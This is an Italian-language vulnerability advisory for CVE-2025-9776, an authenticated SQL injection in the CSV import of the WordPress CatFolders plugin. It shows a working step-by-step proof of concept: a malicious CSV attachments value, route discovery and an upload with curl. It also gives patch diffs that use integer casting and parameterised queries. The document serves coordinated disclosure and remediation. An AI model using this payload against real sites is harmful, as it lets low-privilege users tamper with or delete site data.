
CVE-2025-9776 — Plugin WordPress CatFolders: Iniezione SQL autenticata tramite importazione CSV | POC + Guida passo-passo
Parole chiave: CVE-2025-9776, vulnerabilità WordPress CatFolders, SQL injection WordPress, SQL injection autenticata, sicurezza WordPress, vulnerabilità importazione CSV, exploit plugin WordPress, CWE-89, attacco al database WordPress, vulnerabilità libreria media, CVE WordPress 2025
Una vulnerabilità di SQL Injection autenticata è stata scoperta nel plugin WordPress CatFolders, che consente a utenti con privilegi di livello Autore di manipolare query del database tramite importazioni CSV dannose.
Scoperta da: Kai Aizen (SnailSploit)
Pubblicata: 2025
Punteggio CVSS: 6.5 (Medio)
CWE: CWE-89 - SQL Injection
CatFolders – Tame Your WordPress Media Library by Category contiene una vulnerabilità di SQL Injection autenticata nella funzionalità di importazione CSV. La colonna attachments di un CSV fornito dall'utente viene suddivisa in una lista e passata direttamente a FolderModel::set_attachments(), che concatena quei valori in clausole SQL IN (...) grezze senza una corretta sanitizzazione o parametrizzazione.
Questa vulnerabilità consente ad attaccanti autenticati con privilegi di livello Autore di:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
La vulnerabilità risiede nel flusso di importazione CSV:
File: includes/Rest/Controllers/ImportController.php
import_csv analizza il CSV caricato senza sanitizzazione per camporestore_folders() chiama:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
File: includes/Models/FolderModel.php
set_attachments() costruisce SQL grezzo tramite concatenazione di stringhe:'raw' => 'post_id IN (' . $attachmentIds . ')'
Un attaccante con privilegi di livello Autore (capacità upload_files) può iniettare SQL dannoso tramite l'endpoint di importazione CSV:
Payload CSV dannoso:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Query vulnerabile risultante:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Questo esce dalla clausola IN(...) e altera la semantica della query, potenzialmente interessando tutte le righe.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Risultato tipico: /catf/v1/import-csv
Crea un file denominato catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Sostituire con il namespace scoperto
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Risposta prevista:
{ "success": true }
Il server costruisce ed esegue:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Ciò può eseguire operazioni DELETE/INSERT più ampie del previsto, cancellando spesso le relazioni cartella-allegato sull'intero database.
Esegui la simulazione SQLite autonoma per osservare la vulnerabilità in sicurezza:
python3 poc/catfolders_sql_poc.py
Questo stampa la query vulnerabile e dimostra come un token dannoso restituisca tutte le righe, mentre una versione parametrizzata lo rifiuti correttamente.
Azione immediata richiesta:
Due passaggi minimi di hardening:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Sostituire tutta la concatenazione SQL grezza con query parametrizzate utilizzando $wpdb->prepare() di WordPress:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
Inoltre:
Una patch completa è disponibile in patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # Questo file
├── poc/
│ ├── catf_inject.csv # Payload CSV dannoso
│ └── catfolders_sql_poc.py # Simulazione SQLite sicura
└── patch/
└── catfolders_fix.patch # Correzioni raccomandate
Ricercatore: Kai Aizen (SnailSploit)
Processo di divulgazione: Coordinato tramite il programma Bug Bounty di Wordfence
⚠️ AVVISO IMPORTANTE
Questo Proof of Concept è fornito esclusivamente per scopi di ricerca difensiva e formazione.
L'accesso non autorizzato ai sistemi informatici è illegale secondo leggi tra cui:
Utilizzare a proprio rischio. I ricercatori e SnailSploit declinano ogni responsabilità per l'uso improprio di queste informazioni.
Per domande o informazioni aggiuntive su questa vulnerabilità:
Rimanete sicuri e tenete aggiornate le vostre installazioni WordPress!
Ultimo aggiornamento: 13 ottobre 2025
Il full writeup di questo progetto, la metodologia e la ricerca correlata si trovano su:
https://snailsploit.com/security-research/cves/cve-2025-9776/
Creato da Kai Aizen — ricercatore indipendente di sicurezza offensiva.
snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter
Stesso attacco. Substrato diverso.
| Metrica | Valore |
|---|
| Vettore di attacco | Rete (AV:N) |
| Complessità dell'attacco | Bassa (AC:L) |
| Privilegi richiesti | Bassi (PR:L) - Autore+ |
| Interazione dell'utente | Nessuna (UI:N) |
| Ambito | Invariato (S:U) |
| Riservatezza | Nessuna (C:N) |
| Integrità | Bassa (I:L) |
| Disponibilità | Bassa (A:L) |